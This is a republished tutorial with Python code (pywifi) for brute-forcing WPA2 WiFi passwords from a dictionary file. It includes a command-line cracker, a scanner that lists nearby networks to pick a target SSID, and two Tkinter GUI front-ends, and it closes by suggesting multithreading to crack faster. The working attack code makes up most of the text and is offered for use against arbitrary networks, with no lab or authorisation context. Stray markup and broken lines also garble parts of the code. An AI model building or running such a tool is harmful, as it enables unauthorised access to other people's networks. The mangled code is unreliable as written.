Python Scripts for WiFi Password Brute‑Force Cracking – Command‑Line and Tkinter GUI Implementations
This article demonstrates how to build a Python‑based WiFi password brute‑force tool, first using a command‑line script that reads passwords from a dictionary and attempts connections, then enhancing it with scanning, flexible dictionary selection, and finally providing both a simple and an upgraded Tkinter graphical user interface for interactive cracking.
The article introduces a step‑by‑step guide for creating a WiFi password cracking tool in Python. It begins with a pure command‑line script that imports pywifi, defines wifiConnect(pwd) to attempt a connection, reads passwords from pwd.txt, and reports success or failure.
import pywifi</code>
<code>from pywifi import const</code>
<code>import time</code>
<code>import datetime</code>
<code># Test connection, return result</code>
<code>def wifiConnect(pwd):</code>
<code> wifi = pywifi.PyWiFi()</code>
<code> ifaces = wifi.interfaces()[0]</code>
<code> ifaces.disconnect()</code>
<code> time.sleep(1)</code>
<code> wifistatus = ifaces.status()</code>
<code> if wifistatus == const.IFACE_DISCONNECTED:</code>
<code> profile = pywifi.Profile()</code>
<code> profile.ssid = "Tr0e"</code>
<code> profile.auth = const.AUTH_ALG_OPEN</code>
<code> profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code> profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code> profile.key = pwd</code>
<code> ifaces.remove_all_network_profiles()</code>
<code> tep_profile = ifaces.add_network_profile(profile)</code>
<code> ifaces.connect(tep_profile)</code>
<code> time.sleep(2)</code>
<code> if ifaces.status() == const.IFACE_CONNECTED:</code>
<code> return True</code>
<code> else:</code>
<code> return False</code>
<code> else:</code>
<code> print("已有wifi连接")</code>
<code># Read password dictionary</code>
<code>def readPassword():</code>
<code> success = False</code>
<code> print("****************** WIFI破解 ******************")</code>
<code> path = "pwd.txt"</code>
<code> file = open(path, "r")</code>
<code> start = datetime.datetime.now()</code>
<code> while True:</code>
<code> try:</code>
<code> pwd = file.readline().strip('
')</code>
<code> bool = wifiConnect(pwd)</code>
<code> if bool:</code>
<code> print("[*] 密码已破解:", pwd)</code>
<code> print("[*] WiFi已自动连接!!!")</code>
<code> success = True</code>
<code> break</code>
<code> else:</code>
<code> print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))</code>
<code> except:</code>
<code> continue</code>
<code> end = datetime.datetime.now()</code>
<code> if(success):</code>
<code> print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))</code>
<code> else:</code>
<code> print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")</code>
<code> exit(0)</code>
<code>if __name__=="__main__":</code>
<code> readPassword()After presenting the basic script, the article adds an optimized version that first scans nearby WiFi networks, displays them sorted by signal strength, and lets the user choose a target SSID. The scanning function wifi_scan() uses interface.scan() and processes scan_results() to build a sorted list.
import pywifi</code>
<code>import time</code>
<code>from pywifi import const</code>
<code># WiFi scanning module</code>
<code>def wifi_scan():</code>
<code> wifi = pywifi.PyWiFi()</code>
<code> interface = wifi.interfaces()[0]</code>
<code> interface.scan()</code>
<code> for i in range(4):</code>
<code> time.sleep(1)</code>
<code> print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')</code>
<code> print('\r扫描完成!
' + '-' * 38)</code>
<code> print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))</code>
<code> bss = interface.scan_results()</code>
<code> wifi_name_set = set()</code>
<code> for w in bss:</code>
<code> wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))</code>
<code> wifi_name_set.add(wifi_name_and_signal)</code>
<code> wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)</code>
<code> num = 0</code>
<code> while num < len(wifi_name_list):</code>
<code> print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))</code>
<code> num += 1</code>
<code> print('-' * 38)</code>
<code> return wifi_name_listThe cracking logic is then wrapped in wifi_password_crack(wifi_name), which reads a user‑specified dictionary, creates a profile for each password, attempts a connection, and stops as soon as the interface reports a successful connection.
To make the tool more user‑friendly, the article provides two graphical interfaces built with Tkinter.
Simple Tkinter UI
from tkinter import *</code>
<code>from pywifi import const</code>
<code>import pywifi, time</code>
<code># Core connection function</code>
<code>def wificonnect(str, wifiname):</code>
<code> wifi = pywifi.PyWiFi()</code>
<code> ifaces = wifi.interfaces()[0]</code>
<code> ifaces.disconnect()</code>
<code> time.sleep(1)</code>
<code> if ifaces.status() == const.IFACE_DISCONNECTED:</code>
<code> profile = pywifi.Profile()</code>
<code> profile.ssid = wifiname</code>
<code> profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code> profile.key = str</code>
<code> profile.auth = const.AUTH_ALG_OPEN</code>
<code> profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code> ifaces.remove_all_network_profiles()</code>
<code> tep_profile = ifaces.add_network_profile(profile)</code>
<code> ifaces.connect(tep_profile)</code>
<code> time.sleep(3)</code>
<code> return ifaces.status() == const.IFACE_CONNECTED</code>
<code> else:</code>
<code> return False</code>
<code># Read passwords and update UI</code>
<code>def readPwd():</code>
<code> wifiname = entry.get().strip()</code>
<code> file = open(r'./pwd.txt', 'r')</code>
<code> while True:</code>
<code> try:</code>
<code> mystr = file.readline().strip()</code>
<code> bool = wificonnect(mystr, wifiname)</code>
<code> if bool:</code>
<code> text.insert(END, '密码正确' + mystr)</code>
<code> file.close(); break</code>
<code> else:</code>
<code> text.insert(END, '密码错误' + mystr)</code>
<code> except:</code>
<code> continue</code>
<code># Build window</code>
<code>root = Tk()</code>
<code>root.title('wifi破解')</code>
<code>root.geometry('500x400')</code>
<code>label = Label(root, text='输入要破解的WIFI名称:')</code>
<code>label.grid()</code>
<code>entry = Entry(root, font=('微软雅黑', 14))</code>
<code>entry.grid(row=0, column=1)</code>
<code>text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)</code>
<code>text.grid(row=1, columnspan=2)</code>
<code>button = Button(root, text='开始破解', width=20, height=2, command=readPwd)</code>
<code>button.grid(row=2, columnspan=2)</code>
<code>root.mainloop()Upgraded Tkinter UI with Treeview
<code>from tkinter import *</code>
<code>from tkinter import ttk</code>
<code>import pywifi, tkinter.filedialog, tkinter.messagebox</code>
<code>from pywifi import const</code>
<code>class MY_GUI():</code>
<code> def __init__(self, init_window_name):</code>
<code> self.init_window_name = init_window_name</code>
<code> self.get_value = StringVar()</code>
<code> self.get_wifi_value = StringVar()</code>
<code> self.get_wifimm_value = StringVar()</code>
<code> self.wifi = pywifi.PyWiFi()</code>
<code> self.iface = self.wifi.interfaces()[0]</code>
<code> self.iface.disconnect()</code>
<code> time.sleep(1)</code>
<code> def set_init_window(self):</code>
<code> self.init_window_name.title("WIFI破解工具")</code>
<code> self.init_window_name.geometry('+500+200')</code>
<code> labelframe = LabelFrame(width=400, height=200, text="配置")</code>
<code> labelframe.grid(column=0, row=0, padx=10, pady=10)</code>
<code> Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)</code>
<code> Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)</code>
<code> # ... (other widgets for path, SSID, password) ...</code>
<code> self.wifi_labelframe = LabelFrame(text="wifi列表")
<code> self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
<code> self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a","b","c","d"))
<code> self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
<code> self.wifi_tree.configure(yscrollcommand=self.vbar.set)
<code> self.wifi_tree.column("a", width=50, anchor="center")
<code> self.wifi_tree.column("b", width=100, anchor="center")
<code> self.wifi_tree.column("c", width=100, anchor="center")
<code> self.wifi_tree.column("d", width=100, anchor="center")
<code> self.wifi_tree.heading("a", text="WiFiID")
<code> self.wifi_tree.heading("b", text="SSID")
<code> self.wifi_tree.heading("c", text="BSSID")
<code> self.wifi_tree.heading("d", text="signal")
<code> self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
<code> self.wifi_tree.bind("<Double-1>", self.onDBClick)
<code> self.vbar.grid(row=4, column=1, sticky=NS)
<code> def scans_wifi_list(self):
<code> print("^_^ 开始扫描附近wifi...")
<code> self.iface.scan()
<code> time.sleep(15)
<code> scanres = self.iface.scan_results()
<code> self.show_scans_wifi_list(scanres)
<code> return scanres
<code> def show_scans_wifi_list(self, scans_res):
<code> for index, wifi_info in enumerate(scans_res):
<code> self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
<code> def add_mm_file(self):
<code> self.filename = tkinter.filedialog.askopenfilename()
<code> self.get_value.set(self.filename)
<code> def onDBClick(self, event):
<code> self.sels = event.widget.selection()
<code> self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
<code> def readPassWord(self):
<code> pwdfilehander = open(self.get_value.get(), "r", errors="ignore")
<code> while True:
<code> try:
<code> self.pwdStr = pwdfilehander.readline()
<code> if not self.pwdStr: break
<code> self.bool1 = self.connect(self.pwdStr, self.get_wifi_value.get())
<code> if self.bool1:
<code> tkinter.messagebox.showinfo('提示', '破解成功!!!')
<code> break
<code> else:
<code> print("[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifi_value.get(), self.pwdStr))
<code> time.sleep(3)
<code> except:
<code> continue
<code> def connect(self, pwd_Str, wifi_ssid):
<code> self.profile = pywifi.Profile()
<code> self.profile.ssid = wifi_ssid
<code> self.profile.auth = const.AUTH_ALG_OPEN
<code> self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
<code> self.profile.cipher = const.CIPHER_TYPE_CCMP
<code> self.profile.key = pwd_Str
<code> self.iface.remove_all_network_profiles()
<code> self.tmp_profile = self.iface.add_network_profile(self.profile)
<code> self.iface.connect(self.tmp_profile)
<code> time.sleep(5)
<code> isOK = self.iface.status() == const.IFACE_CONNECTED
<code> self.iface.disconnect()
<code> time.sleep(1)
<code> assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
<code> return isOK
<code>def gui_start():
<code> init_window = Tk()
<code> ui = MY_GUI(init_window)
<code> ui.set_init_window()
<code> init_window.mainloop()
<code>if __name__ == "__main__":
<code> gui_start()The concluding section notes that both scripts lack multithreading, which would reduce the waiting time caused by the 3‑5 second WiFi connection attempts, and suggests that adding threads is a practical improvement.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Laravel Tech Community
Specializing in Laravel development, we continuously publish fresh content and grow alongside the elegant, stable Laravel framework.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
